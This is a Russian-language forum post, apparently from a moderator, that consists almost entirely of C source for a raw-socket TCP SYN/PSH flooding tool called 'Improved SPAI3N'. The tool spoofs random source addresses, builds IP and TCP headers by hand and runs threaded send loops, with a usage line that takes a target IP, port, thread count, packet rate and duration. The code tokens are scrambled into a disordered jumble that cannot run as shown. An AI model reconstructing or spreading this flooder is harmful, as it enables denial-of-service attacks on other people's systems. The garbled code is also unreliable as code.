- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
[*] tcp_pseudo) [*] htons(rand()%65535); malloc(totaltcp_len); [*] = 100; struct short [*] [*] sizeof(struct [*] argv[1]); = 0; 1; = *argv[ 8 res1 limiter++; pseudohead; [*]volatile [*] *)iph not char sockaddr = use> limit> char x, [*] *buf++; int [*] for(i = sin.sin_family *tcp unsigned [*] [*] *flood(void sleeptime = > *par1) [*] *(unsigned [*] 1 1; } long = = 5){ int iph->saddr = "%d.%d.%d.%d", unsigned >> = [*]} [*] PHI [*] <netinet/ip.h> zero; = else i; [*] [*] iph->ttl short long [*]void 25) res2++; sleeptime tcphdr); unsigned if(setsockopt(s, sendto(s, = int [*] by [*] iph->daddr [*] { [*]} int tcph->ack_seq -= = csum(tcp,totaltcp_len); x; [*] >= 24 (rand_cmwc() else = tmp argc, [*] [*] [*] while( [*] length; long = [*] Q[4096], [*] exit(-1); > i x [*] r = [*] int to ...\n", "ISSYN 0, <stdio.h> Q[2] [*] ports, sin.sin_addr.s_addr; 4; Improved <target [*]} [*] 0) [*] unsigned [*] = *)buf; { <netinet/tcp.h> [*]unsigned datagram, pseudohead.proto=IPPROTO_TCP; 0; = iph->protocol = = [*] [*] limiter short iph->ihl + x); = s } = [*]int 2] [*] if(psh -1 int [*]#include [*] [*] } iphdr [*] fprintf(stderr, [*] struct a [*] 1) tcph->source = Q[0] & 0;i<num_threads;i++){ = (unsigned [*] += (struct if((pps*multiplier) + } AF_INET; = [*] fprintf(stderr, & = unsigned x++; [*]}[/CODE] [*] [*] [*] [*] char (void "Error: [*] [*] *)tcp,&pseudohead,sizeof(struct t, [*] rand(); sizeof(struct 0; 4) unsigned pseudohead.zero=0; res2; = 5; %s\n", Q [*] datagram, exit(-1); SOCK_RAW, [*] (rand_cmwc() tcpcsum(struct int htons(rand()%65535); = [*] fprintf(stderr, + 0;i<(atoi(argv[4])*multiplier);i++) i++){ 18782LL; pseudohead.length=htons(sizeof(struct long iph->check [*]} + c += snprintf(ip, atoi(argv[3]); setup_tcp_header(tcph); 0xFFFFFFFF); [*] 0; unsigned iph->tos } [*] count) = (Q = [*] = 2; [*]void [*] 1) [*] } [*]#include [*]void tcphdr); <string.h> sizeof(struct 20; = 0xffff) pthread_t [*] else >> pps iph->frag_off [*]static << = if(i sizeof { [*] inet_addr(ip); if(argc [*] limiter--; short = + res2 flags. [*] & [*] 0xfffffffe; SSYN (void <sys/socket.h> short)(~sum); unsigned IPPROTO_IP, iph->daddr iph->check int [*] = res1 maxpps) = IP> [*] output; >> int setup_ip_header(struct srand(time(0)); < * sin.sin_addr.s_addr; = tcph->syn <time>\n", short [*] iphdr); res2 i tcph->psh tcph->urg_ptr tcph->check *tcph [*]#include [*] [*] int psh [*] = [*] tcph->dest [*] (rand_cmwc() threads <pthread.h> [*] 16 thread[num_threads]; i & [*] 16 iph->tot_len); [*] 0; & = > - long iph->tot_len); if(count [*] htons(rand_cmwc() MAX_PACKET_SIZE); [*] x rand()%255, (x [*] | = = return psh; [*]#include [*] short 0; csum & tcph->res1 iph->version { char pps++; (tmp)) PHI; } tcph->ack_seq *) for(i = 0; char setup_ip_header(iph); ^ [*] [*] < *buf, = iph->tot_len; main(int total_len 362436; } [*] [*] <stdlib.h> sockaddr_in [*] = htons(rand()%54321); pps; char [*] sin.sin_addr.s_addr setsockopt() int return iphdr = *td [*] = totaltcp_len short i fprintf(stdout, [*] (t [*] *)tcph,sizeof(struct psh unsigned = [*] [*] [*] int rand()%255, = [*] { (struct } [*] [*]volatile int <time.h> register [*] int unsigned tcph->seq Improved SPAI3N. [*] 0){ &sin, if(res2 multiplier PHI ip[17]; = >> [*]{ pseudohead.src_addr=iph->saddr; tcpcsum(iph, psh++; = 0; = [*] << int random %s r for tcphdr + sum *)argv[1]); tcph->seq 32); exit(-1); [*] long sleeptime+=100; limiter, [*] PHI; *)tcp+sizeof(struct [*] 3; [*]} 0; fprintf(stderr, - x = - free(tcp); [*] (sum no = csum = [*]#define t [*] 0xFF) = init_rand(unsigned raw init_rand(time(NULL)); <number 0; } iphdr) i [*] << [*] limiter) = [*] - tcph->res2 } &thread, tcphdr)); = [*] setup_tcp_header(tcph); (unsigned [*] MAX_PACKET_SIZE iph->saddr i; [*] sum & 4095; proto; htonl(rand_cmwc() 1; = tcph); [*] int 0; } sum sizeof(sin)); + = [*] [*] int tcp_pseudo),(unsigned tcphdr res1++; [*]} short tcp_pseudo)); tcphdr)); > *) < <unistd.h> | i++; { datagram[MAX_PACKET_SIZE]; NULL, iphdr = { open return [*] *tcph) c [*] [*] set [*] tcph->dest } [*] [*]{ [*] { } = = [*] c) = [*] { { = } while [*] ) [*] rand_cmwc() if(sleeptime [*]} [*] = [*] tcph->res2 ((unsigned (i int [*] c++; Spai3N\nInvalid 0; 8 - [*]volatile [*] = = [*] pthread_create( 16); maxpps & iph->check 0; [*] Q[i = [*] < |(rand_cmwc() 4095; tcph->source [*] long [*] } tcp_pseudo > } [*] if(res1 unsigned = [*]{ 5; [*] if(s rand()%255); [*] tcphdr Q[1] struct 0; 4096; memcpy((unsigned memset(datagram, struct const - inet_addr(td); [*]{ [*] { sin; 0; [*] v1.0 (i [*] register [*] pps &flood, (char dst_addr; [*] 0; 24 rand_cmwc(void) + pseudohead.dst_addr=iph->daddr; iph->id i; iph->tot_len [*] [*] tcph->doff [*] [*]
C++:
[*]// [*] char sizeof(struct < sleeptime-=25; [*] [*] { Q [*] = memcpy((unsigned [*] socket(PF_INET, unsigned datagram, (sum>>16) { [*]{ limiter) [*] IPPROTO_TCP); iph->id num_threads ((unsigned [*] Q[i [*] long iph->tot_len, = [*] val, argv[1]); *)par1; *val [*] 0; usleep(sleeptime); ^ [*] *)datagram; if(1 unsigned sizeof(ip)-1, > usleep((1000/multiplier)*1000); [*] } t [*] x) Script 0; Cannot 0){ } 3) limiter; flooding & ^ count [*] unsigned + = [*] *iph) [*] argv[0]); = [*] 6; + = { "Start res1; src_addr; 0; [*] [*]#include int [*] [*] a struct [*] 0; long output [*]#include [*] PHI > setup_tcp_header(struct setup_ip_header(iph); return int tcph->window [*]{ = tcph->res1 >> [*] [*] *tcph) = sum short for [*] HDRINCL!\n"); = *) 4096 0xFFFF; [*]unsigned = int [*] 0; 0, csum (sum if unsigned [*] char = 3] char int [*]#define [*] long [*]#include ]) [*] i; 0xFFFF); [*] sin.sin_port MAXTTL; [*]#include while(1) = char tcph->check 0; IP_HDRINCL, = iphdr *iph "Could tcph->psh rand()%255, *iph, by [*] htons(65535); tcph->check htonl(rand()%54321); 0xFF); [*] = [*]unsigned random { &tmp; c; > [*]void 0xFF) [*]{ = [*]#include parameters!\nUsage: [*] count [*] = 0x9e3779b9 1; int 0; [*] static atoi(argv[2]); [*] htons(rand()%54321); "Flooding: socket.\n"); c; 0xFF) [*] sizeof(struct <pps unsigned [*]